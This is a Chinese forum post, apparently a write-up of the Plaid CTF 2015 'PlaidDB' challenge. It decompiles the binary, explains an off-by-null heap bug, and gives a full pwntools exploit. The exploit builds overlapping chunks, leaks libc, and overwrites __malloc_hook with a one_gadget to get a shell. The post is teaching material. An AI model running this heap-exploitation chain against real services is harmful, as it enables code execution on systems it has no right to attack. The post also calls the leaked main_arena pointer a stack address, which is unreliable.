吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1973|回复: 2
收起左侧

[CTF] Plaid CTF 2015 : PlaidDB

[复制链接]
R00tkit 发表于 2023-9-1 11:42
本帖最后由 R00tkit 于 2023-9-22 20:45 编辑

前言

这道题有很多细节,不单是经典的off-by-null的题,更是对堆分配过程的一次掌握。有一些细节我没有讲到,大家可以自己调试,弄清每个一堆块的释放分配原因,和它的bins变化。

检查文件信息

1

1

2

2

保护全开,ELF64位小端序程序。

3

3

4

4

查看编译信息,gcc-4.8.2暂改为glibc2.23。

试运行

5

5

逆向分析

/* main */

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  _QWORD *struct_0x38_0x40; // rbx
  _QWORD *v4; // rax
  char *v5; // rax

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  struct_0x38_0x40 = malloc(0x38uLL); // 主函数结构体
  v4 = malloc(8uLL);
  if ( v4 )
    *v4 = 0x67346C66336874LL;
  *struct_0x38_0x40 = v4;
  v5 = (char *)malloc(9uLL);
  if ( v5 )
    strcpy(v5, "youwish\n");
  struct_0x38_0x40[2] = v5;
  struct_0x38_0x40[1] = 8LL;
  Init_struct(struct_0x38_0x40); // 初始化结构体
  puts("INFO: Welcome to the PlaidDB data storage service.");
  puts("INFO: Valid commands are GET, PUT, DUMP, DEL, EXIT");
  while ( 1 )
    Begin();
}

/* Begin */
unsigned __int64 Begin()
{
  bool v0; // zf
  const char *v1; // rdi
  __int64 v2; // rcx
  char *v3; // rsi
  const char *v4; // rdi
  __int64 v5; // rcx
  char *v6; // rsi
  const char *v7; // rdi
  __int64 v8; // rcx
  char *v9; // rsi
  const char *v10; // rdi
  __int64 v11; // rcx
  char *v12; // rsi
  const char *v13; // rdi
  __int64 v14; // rcx
  char *v15; // rsi
  char v17[8]; // [rsp+0h] [rbp-18h] BYREF
  unsigned __int64 v18; // [rsp+8h] [rbp-10h]

  v18 = __readfsqword(0x28u);
  puts("PROMPT: Enter command:");
  get_command(v17, 8LL);
  v1 = "GET\n";
  v2 = 5LL;
  v3 = v17;
  do
  {
    if ( !v2 )
      break;
    v0 = *v3++ == *v1++;
    --v2;
  }
  while ( v0 );
  if ( v0 )
  {
    GET(v1, v3);
  }
  else
  {
    v4 = "PUT\n";
    v5 = 5LL;
    v6 = v17;
    do
    {
      if ( !v5 )
        break;
      v0 = *v6++ == *v4++;
      --v5;
    }
    while ( v0 );
    if ( v0 )
    {
      PUT(v4, v6);
    }
    else
    {
      v7 = "DUMP\n";
      v8 = 6LL;
      v9 = v17;
      do
      {
        if ( !v8 )
          break;
        v0 = *v9++ == *v7++;
        --v8;
      }
      while ( v0 );
      if ( v0 )
      {
        DUMP(v7, v9);
      }
      else
      {
        v10 = "DEL\n";
        v11 = 5LL;
        v12 = v17;
        do
        {
          if ( !v11 )
            break;
          v0 = *v12++ == *v10++;
          --v11;
        }
        while ( v0 );
        if ( v0 )
        {
          DEL(v10, v12);
        }
        else
        {
          v13 = "EXIT\n";
          v14 = 6LL;
          v15 = v17;
          do
          {
            if ( !v14 )
              break;
            v0 = *v15++ == *v13++;
            --v14;
          }
          while ( v0 );
          if ( v0 )
            EXIT(v13, v15);
          __printf_chk(1LL, "ERROR: '%s' is not a valid command.\n", v17);
        }
      }
    }
  }
  return __readfsqword(0x28u) ^ v18;
}
/* GET 函数,按key值读取数据库 */

  __int64 v1; // rbx
  int v2; // eax
  __int64 v3; // rdx
  char *v4; // rcx

  puts("PROMPT: Enter row key:");
  row_key = get_row_key(); // off-by-null漏洞函数
  v1 = qword_203018;
LABEL_2:
  if ( v1 )
  {
    while ( 1 )
    {
      v2 = strcmp(row_key, *(const char **)v1);
      if ( v2 < 0 )
      {
        v1 = *(_QWORD *)(v1 + 24);
        goto LABEL_2;
      }
      if ( !v2 )
        break;
      v1 = *(_QWORD *)(v1 + 32);
      if ( !v1 )
        goto LABEL_6;
    }
    v3 = *(_QWORD *)(v1 + 8);
    v4 = "s";
    if ( v3 == 1 )
      v4 = "";
    __printf_chk(1LL, "INFO: Row data [%zd byte%s]:\n", v3, v4);
    fwrite(*(const void **)(v1 + 16), 1uLL, *(_QWORD *)(v1 + 8), stdout);
    free(row_key);
  }
  else
  {
LABEL_6:
    puts("ERROR: Row not found.");
    free(row_key);
  }
}
/* PUT函数,存放结构题 */

void PUT()
{
  void **row_key; // rbx
  unsigned __int64 size; // rax
  void *data; // rax
  __int64 inited; // rbp
  char data_size[24]; // [rsp+0h] [rbp-38h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-20h]

  v5 = __readfsqword(0x28u);
  row_key = (void **)malloc(0x38uLL);
  if ( !row_key )
  {
    puts("FATAL: Can't allocate a row");
    exit(-1);
  }
  puts("PROMPT: Enter row key:");
  *row_key = get_row_key(); // off-by-null,读取key
  puts("PROMPT: Enter data size:");
  get_command(data_size, 16LL); // 读取大小
  size = strtoul(data_size, 0LL, 0);
  row_key[1] = (void *)size; // 保存size
  data = malloc(size);
  row_key[2] = data; // 保存data
  if ( data )
  {
    puts("PROMPT: Enter data:");
    read_data(row_key[2], row_key[1]);
    inited = Init_struct(row_key);
    if ( inited )
    {
      free(*row_key);
      free(*(void **)(inited + 16));
      *(_QWORD *)(inited + 8) = row_key[1];
      *(_QWORD *)(inited + 16) = row_key[2];
      free(row_key);
      puts("INFO: Update successful.");
    }
    else
    {
      puts("INFO: Insert successful.");
    }
  }
  else
  {
    puts("ERROR: Can't store that much data.");
    free(*row_key);
    free(row_key);
  }
}
/* DUMP 函数 */

_QWORD *DUMP()
{
  _QWORD *result; // rax
  _QWORD *v1; // rbx
  __int64 v2; // rcx
  char *v3; // r8
  _QWORD *v4; // rax

  puts("INFO: Dumping all rows.");
  result = &qword_203018;
  v1 = (_QWORD *)qword_203018;
  if ( qword_203018 )
  {
    while ( v1[3] )
      v1 = (_QWORD *)v1[3];
    while ( 1 )
    {
      while ( 1 )
      {
        v2 = v1[1];
        v3 = "";
        if ( v2 != 1 )
          v3 = "s";
        __printf_chk(1LL, "INFO: Row [%s], %zd byte%s\n", *v1, v2, v3);
        v4 = (_QWORD *)v1[4];
        if ( !v4 )
          break;
        do
        {
          v1 = v4;
          v4 = (_QWORD *)v4[3];
        }
        while ( v4 );
      }
      result = (_QWORD *)v1[5];
      if ( !result || v1 != (_QWORD *)result[3] )
        break;
LABEL_17:
      v1 = result;
    }
    while ( result )
    {
      if ( v1 != (_QWORD *)result[4] )
        goto LABEL_17;
      v1 = result;
      result = (_QWORD *)result[5];
    }
  }
  return result;
}
/* DEL 函数 */

int DEL()
{
  char *row_key; // r12
  __int64 v1; // rbx
  char *v2; // rbp
  int v3; // eax
  __int64 v5; // rax
  __int64 v6; // rcx
  __int64 v7; // rsi
  __int64 v8; // rsi
  __int64 v9; // rsi
  __int64 v10; // rcx
  __int64 v11; // rdi
  __int64 v12; // rax
  __int64 v13; // rsi
  __int64 v14; // rcx
  __int64 v15; // rcx
  __int64 v16; // rax
  __int64 v17; // rsi
  __int64 v18; // rsi
  __int64 v19; // rax
  __int64 v20; // rcx
  __int64 v21; // rsi
  __int64 v22; // rcx
  __int64 v23; // rsi
  __int64 v24; // rsi
  __int64 v25; // rdx
  int v26; // edi
  __int64 v27; // rax
  __int64 v28; // rax
  __int64 v29; // rax
  __int64 v30; // rax
  __int64 v31; // rax
  __int64 v32; // rax
  __int64 v33; // rsi
  __int64 v34; // rsi
  __int64 v35; // rsi
  __int64 v36; // rcx
  __int64 v37; // rax
  __int64 v38; // rax
  __int64 v39; // rax

  puts("PROMPT: Enter row key:");
  row_key = get_row_key(); // off-by-null
  v1 = qword_203018;
LABEL_2:
  if ( !v1 )
    return puts("ERROR: Row not found.");
  while ( 1 )
  {
    v2 = *(char **)v1;
    v3 = strcmp(row_key, *(const char **)v1);
    if ( v3 < 0 )
    {
      v1 = *(_QWORD *)(v1 + 24);
      goto LABEL_2;
    }
    if ( !v3 )
      break;
    v1 = *(_QWORD *)(v1 + 32);
    if ( !v1 )
      return puts("ERROR: Row not found.");
  }
  v5 = *(_QWORD *)(v1 + 24);
  if ( v5 )
  {
    v6 = *(_QWORD *)(v1 + 32);
    if ( v6 )
    {
      while ( *(_QWORD *)(v6 + 24) )
        v6 = *(_QWORD *)(v6 + 24);
      v5 = *(_QWORD *)(v6 + 32);
      v25 = *(_QWORD *)(v6 + 40);
      v26 = *(_DWORD *)(v6 + 48);
      if ( v5 )
        *(_QWORD *)(v5 + 40) = v25;
      v7 = *(_QWORD *)(v6 + 40);
      if ( v25 )
      {
        if ( v6 == *(_QWORD *)(v25 + 24) )
          *(_QWORD *)(v25 + 24) = v5;
        else
          *(_QWORD *)(v25 + 32) = v5;
      }
      else
      {
        qword_203018 = v5;
      }
      if ( v1 == v7 )
        v25 = v6;
      *(_QWORD *)(v6 + 24) = *(_QWORD *)(v1 + 24);
      *(_QWORD *)(v6 + 32) = *(_QWORD *)(v1 + 32);
      *(_QWORD *)(v6 + 40) = *(_QWORD *)(v1 + 40);
      *(_QWORD *)(v6 + 48) = *(_QWORD *)(v1 + 48);
      v8 = *(_QWORD *)(v1 + 40);
      if ( v8 )
      {
        if ( *(_QWORD *)(v8 + 24) == v1 )
          *(_QWORD *)(v8 + 24) = v6;
        else
          *(_QWORD *)(v8 + 32) = v6;
      }
      else
      {
        qword_203018 = v6;
      }
      *(_QWORD *)(*(_QWORD *)(v1 + 24) + 40LL) = v6;
      v9 = *(_QWORD *)(v1 + 32);
      if ( v9 )
        *(_QWORD *)(v9 + 40) = v6;
      if ( v25 )
      {
        v10 = v25;
        do
          v10 = *(_QWORD *)(v10 + 40);
        while ( v10 );
      }
      goto LABEL_28;
    }
    v25 = *(_QWORD *)(v1 + 40);
    v26 = *(_DWORD *)(v1 + 48);
  }
  else
  {
    v5 = *(_QWORD *)(v1 + 32);
    v25 = *(_QWORD *)(v1 + 40);
    v26 = *(_DWORD *)(v1 + 48);
    if ( !v5 )
      goto LABEL_64;
  }
  *(_QWORD *)(v5 + 40) = v25;
LABEL_64:
  if ( v25 )
  {
    if ( *(_QWORD *)(v25 + 24) == v1 )
      *(_QWORD *)(v25 + 24) = v5;
    else
      *(_QWORD *)(v25 + 32) = v5;
  }
  else
  {
    qword_203018 = v5;
  }
LABEL_28:
  if ( v26 )
    goto LABEL_29;
  v11 = qword_203018;
  while ( 1 )
  {
    if ( v5 && *(_DWORD *)(v5 + 48) )
    {
      qword_203018 = v11;
      goto LABEL_69;
    }
    if ( v5 == v11 )
    {
      qword_203018 = v5;
      goto LABEL_68;
    }
    v15 = *(_QWORD *)(v25 + 24);
    if ( v15 != v5 )
    {
      if ( *(_DWORD *)(v15 + 48) == 1 )
      {
        v16 = *(_QWORD *)(v15 + 32);
        *(_DWORD *)(v15 + 48) = 0;
        *(_DWORD *)(v25 + 48) = 1;
        *(_QWORD *)(v25 + 24) = v16;
        if ( v16 )
          *(_QWORD *)(v16 + 40) = v25;
        v17 = *(_QWORD *)(v25 + 40);
        *(_QWORD *)(v15 + 40) = v17;
        if ( v17 )
        {
          v18 = *(_QWORD *)(v25 + 40);
          if ( v25 == *(_QWORD *)(v18 + 24) )
          {
            *(_QWORD *)(v18 + 24) = v15;
            v16 = *(_QWORD *)(v25 + 24);
          }
          else
          {
            *(_QWORD *)(v18 + 32) = v15;
          }
        }
        else
        {
          v11 = v15;
        }
        *(_QWORD *)(v15 + 32) = v25;
        *(_QWORD *)(v25 + 40) = v15;
        v15 = v16;
      }
      v12 = *(_QWORD *)(v15 + 24);
      if ( v12 && *(_DWORD *)(v12 + 48) )
      {
        qword_203018 = v11;
      }
      else
      {
        v13 = *(_QWORD *)(v15 + 32);
        if ( !v13 || !*(_DWORD *)(v13 + 48) )
        {
          *(_DWORD *)(v15 + 48) = 1;
          v14 = *(_QWORD *)(v25 + 40);
          goto LABEL_36;
        }
        qword_203018 = v11;
        if ( !v12 || !*(_DWORD *)(v12 + 48) )
        {
          v30 = *(_QWORD *)(v13 + 24);
          *(_DWORD *)(v13 + 48) = 0;
          *(_DWORD *)(v15 + 48) = 1;
          *(_QWORD *)(v15 + 32) = v30;
          if ( v30 )
            *(_QWORD *)(v30 + 40) = v15;
          v31 = *(_QWORD *)(v15 + 40);
          *(_QWORD *)(v13 + 40) = v31;
          if ( v31 )
          {
            v32 = *(_QWORD *)(v15 + 40);
            if ( *(_QWORD *)(v32 + 24) == v15 )
              *(_QWORD *)(v32 + 24) = v13;
            else
              *(_QWORD *)(v32 + 32) = v13;
          }
          else
          {
            qword_203018 = v13;
          }
          *(_QWORD *)(v13 + 24) = v15;
          *(_QWORD *)(v15 + 40) = v13;
          v15 = *(_QWORD *)(v25 + 24);
          v12 = *(_QWORD *)(v15 + 24);
          *(_DWORD *)(v15 + 48) = *(_DWORD *)(v25 + 48);
          *(_DWORD *)(v25 + 48) = 0;
          if ( !v12 )
            goto LABEL_79;
          goto LABEL_78;
        }
      }
      *(_DWORD *)(v15 + 48) = *(_DWORD *)(v25 + 48);
      *(_DWORD *)(v25 + 48) = 0;
LABEL_78:
      *(_DWORD *)(v12 + 48) = 0;
LABEL_79:
      v27 = *(_QWORD *)(v15 + 32);
      *(_QWORD *)(v25 + 24) = v27;
      if ( v27 )
        *(_QWORD *)(v27 + 40) = v25;
      v28 = *(_QWORD *)(v25 + 40);
      *(_QWORD *)(v15 + 40) = v28;
      if ( v28 )
      {
        v29 = *(_QWORD *)(v25 + 40);
        if ( v25 == *(_QWORD *)(v29 + 24) )
          *(_QWORD *)(v29 + 24) = v15;
        else
          *(_QWORD *)(v29 + 32) = v15;
        v5 = qword_203018;
      }
      else
      {
        qword_203018 = v15;
        v5 = v15;
      }
      *(_QWORD *)(v15 + 32) = v25;
      *(_QWORD *)(v25 + 40) = v15;
      goto LABEL_68;
    }
    v19 = *(_QWORD *)(v25 + 32);
    if ( *(_DWORD *)(v19 + 48) == 1 )
    {
      v22 = *(_QWORD *)(v19 + 24);
      *(_DWORD *)(v19 + 48) = 0;
      *(_DWORD *)(v25 + 48) = 1;
      *(_QWORD *)(v25 + 32) = v22;
      if ( v22 )
        *(_QWORD *)(v22 + 40) = v25;
      v23 = *(_QWORD *)(v25 + 40);
      *(_QWORD *)(v19 + 40) = v23;
      if ( v23 )
      {
        v24 = *(_QWORD *)(v25 + 40);
        if ( v25 == *(_QWORD *)(v24 + 24) )
        {
          *(_QWORD *)(v24 + 24) = v19;
        }
        else
        {
          *(_QWORD *)(v24 + 32) = v19;
          v22 = *(_QWORD *)(v25 + 32);
        }
      }
      else
      {
        v11 = v19;
      }
      *(_QWORD *)(v19 + 24) = v25;
      *(_QWORD *)(v25 + 40) = v19;
      v19 = v22;
    }
    v20 = *(_QWORD *)(v19 + 24);
    if ( v20 )
    {
      if ( *(_DWORD *)(v20 + 48) )
        break;
    }
    v21 = *(_QWORD *)(v19 + 32);
    if ( v21 && *(_DWORD *)(v21 + 48) )
    {
      qword_203018 = v11;
LABEL_119:
      v36 = *(_QWORD *)(v25 + 32);
      *(_DWORD *)(v19 + 48) = *(_DWORD *)(v25 + 48);
      *(_DWORD *)(v25 + 48) = 0;
      goto LABEL_109;
    }
    *(_DWORD *)(v19 + 48) = 1;
    v14 = *(_QWORD *)(v25 + 40);
LABEL_36:
    v5 = v25;
    v25 = v14;
  }
  v21 = *(_QWORD *)(v19 + 32);
  qword_203018 = v11;
  if ( v21 && *(_DWORD *)(v21 + 48) )
    goto LABEL_119;
  v33 = *(_QWORD *)(v20 + 32);
  *(_DWORD *)(v20 + 48) = 0;
  *(_DWORD *)(v19 + 48) = 1;
  *(_QWORD *)(v19 + 24) = v33;
  if ( v33 )
    *(_QWORD *)(v33 + 40) = v19;
  v34 = *(_QWORD *)(v19 + 40);
  *(_QWORD *)(v20 + 40) = v34;
  if ( v34 )
  {
    v35 = *(_QWORD *)(v19 + 40);
    if ( v19 == *(_QWORD *)(v35 + 24) )
      *(_QWORD *)(v35 + 24) = v20;
    else
      *(_QWORD *)(v35 + 32) = v20;
  }
  else
  {
    qword_203018 = v20;
  }
  *(_QWORD *)(v20 + 32) = v19;
  *(_QWORD *)(v19 + 40) = v20;
  v36 = *(_QWORD *)(v25 + 32);
  v21 = *(_QWORD *)(v36 + 32);
  *(_DWORD *)(v36 + 48) = *(_DWORD *)(v25 + 48);
  *(_DWORD *)(v25 + 48) = 0;
  if ( v21 )
LABEL_109:
    *(_DWORD *)(v21 + 48) = 0;
  v37 = *(_QWORD *)(v36 + 24);
  *(_QWORD *)(v25 + 32) = v37;
  if ( v37 )
    *(_QWORD *)(v37 + 40) = v25;
  v38 = *(_QWORD *)(v25 + 40);
  *(_QWORD *)(v36 + 40) = v38;
  if ( v38 )
  {
    v39 = *(_QWORD *)(v25 + 40);
    if ( v25 == *(_QWORD *)(v39 + 24) )
      *(_QWORD *)(v39 + 24) = v36;
    else
      *(_QWORD *)(v39 + 32) = v36;
    v5 = qword_203018;
  }
  else
  {
    qword_203018 = v36;
    v5 = v36;
  }
  *(_QWORD *)(v36 + 24) = v25;
  *(_QWORD *)(v25 + 40) = v36;
LABEL_68:
  if ( !v5 )
    goto LABEL_29;
LABEL_69:
  *(_DWORD *)(v5 + 48) = 0;
LABEL_29:
  free(v2);
  free(*(void **)(v1 + 16));
  free((void *)v1);
  free(row_key);
  return puts("INFO: Delete successful."); // UAF
}
/* get_row_key 漏洞函数 */
char *get_row_key()
{
  char *start_line; // r12
  char *end_line; // rbx
  size_t size_true; // r14
  char v3; // al
  char v4; // bp
  __int64 diff; // r13
  char *new_line; // rax

  start_line = (char *)malloc(8uLL);
  end_line = start_line;
  size_true = malloc_usable_size(start_line);
  while ( 1 )
  {
    v3 = _IO_getc(stdin);
    v4 = v3;
    if ( v3 == -1 )
      EXIT();
    if ( v3 == '\n' )
      break;
    diff = end_line - start_line;
    if ( size_true <= end_line - start_line )
    {
      new_line = (char *)realloc(start_line, 2 * size_true); // 扩展原来可用大小的两倍
      start_line = new_line;
      if ( !new_line )
      {
        puts("FATAL: Out of memory");
        exit(-1);
      }
      end_line = &new_line[diff];
      size_true = malloc_usable_size(new_line);
    }
    *end_line++ = v4;
  }
  *end_line = 0;                                // off-by-null
  return start_line;
}

6

6
不难这是一个简单的nosql数据库,根据PUT函数推导出其初始化前结构体。

漏洞利用

通过off-by-null漏洞制造overlapping,然后通过切割制造unsorted bin attack通过GET泄露栈地址,通过overlapping向fast bin中的chunk_fd写入一个fake_fast_below_malloc_hook。申请时改写__malloc_hook为one_gadget再去随意申请一个chunk即可。

前置脚本

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch='amd64'

p = process('./datastore')
elf = ELF('./datastore')
libc = ELF("/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")

is_debug = 1

def debug():
    if is_debug:
        gdb.attach(p)
        pause()
    else:
        pass

def GET(row_key):
    p.recvuntil(b'PROMPT: Enter command:\n')
    p.sendline(b"GET")
    p.sendlineafter(b'PROMPT: Enter row key:\n', row_key)

def PUT(row_key, size, data):
    p.recvuntil(b'PROMPT: Enter command:\n')
    p.sendline(b"PUT")
    p.sendlineafter(b'PROMPT: Enter row key:\n', row_key)
    p.sendlineafter(b'PROMPT: Enter data size:\n', str(size).encode())
    if(len(data) < size):
        data = data.ljust(size, b'\x00')
    p.sendafter(b'PROMPT: Enter data:\n', data)

def DUMP():
    p.recvuntil(b'PROMPT: Enter command:\n')
    p.sendline(b"DUMP")

def DEL(row_key):
    p.recvuntil(b'PROMPT: Enter command:\n')
    p.sendline(b"DEL")
    p.sendlineafter(b"PROMPT: Enter row key:\n", row_key)

def EXIT():
    p.recvuntil(b'PROMPT: Enter command:\n')
    p.sendline(b"EXIT")

diff


def diff():
    ''' 因为每个功能函数都用到了0x38chunk, 所以我们先构造一些, 隔离一下我们的chunk '''
    for i in range(10):
        PUT(str(i).encode(), 0x38, b'a' * 0x18)
    for i in range(10):
        DEL(str(i).encode())

为了避免程序中频繁申请的0x21和0x41大小的chunk影响我们构造的堆块,我们提前申请些堆块放进fast bin隔离我们的chunk。

overlapping

def overlapping():
    PUT(b'x', 0x200, b'x' * 0x200)
    PUT(b'fast', 0x68, b'fast')
    PUT(b'fast2', 0x68, b'fast2')
    PUT(b'a', 0x1f8, b'a' * 0x18)
    PUT(b'b', 0xf0, b'b' * 0x18)
    debug() # 1
    PUT(b'defense', 0x400, b'defense-data')  # 防止top bin的影响
    debug() # 2

    DEL(b'a')
    DEL(b'x')
    debug() # 3
    DEL(b'1' * 0x1f0 + p64(0x4f0))  # 对b的pre_size域和prev_inuse进行覆盖
    debug() # 3
    DEL(b'b')
    debug() # 4

debug_1

debug_1
debug_1

这是我们构造的堆块。此时堆中有很多相邻的被释放的free_chunk。我们申请一个large bin chunk后会将其合并,并送进unsorted bin,unsorted bin整理后送入对应bins。

debug_2

debug_2
debug_2
此时堆中free_chunk整理完毕,堆中的小堆块(0x21, 0x41)还剩下我们主函数的结构体,和large bin申请前,尚未被释放row_key(0x41)和get_row_key函数中申请的0x21堆块。我们构造的堆块被连在了一起,当堆中小堆块被释放时,我们后续操作申请的小堆块将从fast binY申请,不会影响我们对构造堆块的操作。

debug_3

debug_3

debug_3
我们将'a'_0x201, 'x'_0x211释放后,堆中布局如上。此时如果我们输入一个0x1f8的get_row_key(DEL),因为get_row_key都是计算的可用大小,所以我们会溢出一个null,并且这个realloc的堆块会申请到'a'_0x201这个堆块,并修改下一个堆块'b'_0x100的prev_size,当然也修改了PREV_INUSE位,虽然它已经是0了。当然这个删除的key并不存在,也不会影响我们的操作。

debug_4

debug_4
debug_4
此时'b'_0x100的prev_size已被修改为0x4f0,也就是0x210+0x70+0x70+0x200大小。删除'b'_0x100,ptmalloc2检测到当前地址到低prev_size_0x4f0处的chunk_'x'_0x210也是个free_chunk,便会进行合并,把我们的in_use_chunk也并到了里面。

debug_5

debug_5

debug_5
可以看到,此时我们的in_usechunk'fast'&'fast2'也被放进了free_chunk这个大堆块里。

get_libc_base

def get_libc_base():
    global libc_base
    PUT(b'0x200', 0x200, b'0x200')
    debug() # 6
    PUT(b'0x200plus', 0x200, b'0x200')
    debug() # 7
    GET(b'fast')
    p.recvuntil(b']:\n')
    leak = u64(p.recv(8).ljust(8, b'\x00'))
    libc_base = leak-0x3c4b78

debug_6

debug_6
debug_6
我们申请0x200大小的chunk,会先去small bin中寻找大小一致的chunk,但small中仅有0x360大小的chunk,接下来就会去整理fast bin和unsorted bin并放进对应的small bin或者large bin。此时也就将我们的大堆块放入了large bin。接下来遍历过程中,发现small bin中存在last remainder,将其差分,剩下的chunk_0x151放进unsorted bin。

debug_7

debug_7

debug_7

接下来的再次申请0x200大小的chunk时,还是会去small寻找,无果后寻找unsorted,也无果,将unsorted bin中的chunk放进对应的bins,接下来从下一个bin中寻找,取出我们构造的大堆块,切分,然后将remainder放进unsorted bin。也就是现在的堆结构。

dz7

dz7
而我们申请0x200将0x210大小的chunk_'x'摘除以后,剩下的chunk头正好是我们的'fast',此时我们并未将fast释放掉,我们可以通过GET("fast")将它的fd指针打印出来,便得到了栈地址(main_arena+0x58),减去其偏移就得到了栈的基址。

getshell

def get_shell():
    DEL(b'fast2')
    PUT(b'0x68+0x68', 0x100, b'a' * 0x68 + p64(0x71) + p64(libc_base + libc.symbols['__malloc_hook'] - 0x13))
    debug() # 8
    PUT(b'pre', 0x68, b'aa')
    one_gadget_offset = 0x4527a
    one_gadget = one_gadget_offset+libc_base
    PUT(b'attack', 0x68, b'a'*3+p64(one_gadget))
    debug() # 9
    GET(b'fast')

debug_8

debug_8
debug_8

dz8

dz8

我们将fast2放进fast bin中,然后申请一个足够覆盖fast2_fd位置的chunk_0x111,这个chunk会从我们构造的堆申请,然后将fast2_fd位置改为__malloc_hook附近符合条件的fake_chunk位置。那么我们申请两次就会申请到fake_chunk位置。

debug_9

debug_9
debug_9
我们通过计算,申请时填写0x13-0x10(fd_bk)的偏移,然后在__malloc_hook处写入one_gadget地址。然后随便申请一个堆块即可get_shell。

get_shell

get_shell

getshell

完整exp

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch='amd64'

p = process('./datastore')
elf = ELF('./datastore')
libc = ELF("/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")

is_debug = 1

def debug():
    if is_debug:
        gdb.attach(p)
        pause()
    else:
        pass

def GET(row_key):
    p.recvuntil(b'PROMPT: Enter command:\n')
    p.sendline(b"GET")
    p.sendlineafter(b'PROMPT: Enter row key:\n', row_key)

def PUT(row_key, size, data):
    p.recvuntil(b'PROMPT: Enter command:\n')
    p.sendline(b"PUT")
    p.sendlineafter(b'PROMPT: Enter row key:\n', row_key)
    p.sendlineafter(b'PROMPT: Enter data size:\n', str(size).encode())
    if(len(data) < size):
        data = data.ljust(size, b'\x00')
    p.sendafter(b'PROMPT: Enter data:\n', data)

def DUMP():
    p.recvuntil(b'PROMPT: Enter command:\n')
    p.sendline(b"DUMP")

def DEL(row_key):
    p.recvuntil(b'PROMPT: Enter command:\n')
    p.sendline(b"DEL")
    p.sendlineafter(b"PROMPT: Enter row key:\n", row_key)

def EXIT():
    p.recvuntil(b'PROMPT: Enter command:\n')
    p.sendline(b"EXIT")

def diff():
    ''' 因为每个功能函数都用到了0x38chunk, 所以我们先构造一些, 隔离一下我们的chunk '''
    for i in range(10):
        PUT(str(i).encode(), 0x38, b'a' * 0x18)
    for i in range(10):
        DEL(str(i).encode())

def overlapping():
    PUT(b'x', 0x200, b'x' * 0x200)
    PUT(b'fast', 0x68, b'fast')
    PUT(b'fast2', 0x68, b'fast2')
    PUT(b'a', 0x1f8, b'a' * 0x18)
    PUT(b'b', 0xf0, b'b' * 0x18)
    debug()
    PUT(b'defense', 0x400, b'defense-data')  # 防止top bin的影响
    debug()

    DEL(b'a')
    DEL(b'x')
    debug()
    DEL(b'1' * 0x1f0 + p64(0x4f0))  # 对b的pre_size域和prev_inuse进行覆盖
    debug()
    DEL(b'b')
    debug()

def get_libc_base():
    global libc_base
    PUT(b'0x200', 0x200, b'0x200')
    debug()
    PUT(b'0x200plus', 0x200, b'0x200')
    debug()
    GET(b'fast')
    p.recvuntil(b']:\n')
    leak = u64(p.recv(8).ljust(8, b'\x00'))
    libc_base = leak-0x3c4b78

def get_shell():
    DEL(b'fast2')
    debug()
    PUT(b'0x68+0x68', 0x100, b'a' * 0x68 + p64(0x71) + p64(libc_base + libc.symbols['__malloc_hook'] - 0x13))
    debug()
    PUT(b'pre', 0x68, b'aa')
    debug()
    one_gadget_offset = 0x4527a
    one_gadget = one_gadget_offset+libc_base
    PUT(b'attack', 0x68, b'a'*3+p64(one_gadget))
    debug()
    GET(b'fast')

def pwn():
    diff()
    overlapping()
    get_libc_base()
    get_shell()
    p.interactive()

if __name__ == '__main__':
    pwn()

免费评分

参与人数 2威望 +1 吾爱币 +21 热心值 +2 收起 理由
笙若 + 1 + 1 谢谢@Thanks!
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

mmattic 发表于 2023-9-1 12:21
谢谢分享~~~~~~~
头像被屏蔽
moruye 发表于 2023-9-2 21:08
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-15 13:00

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表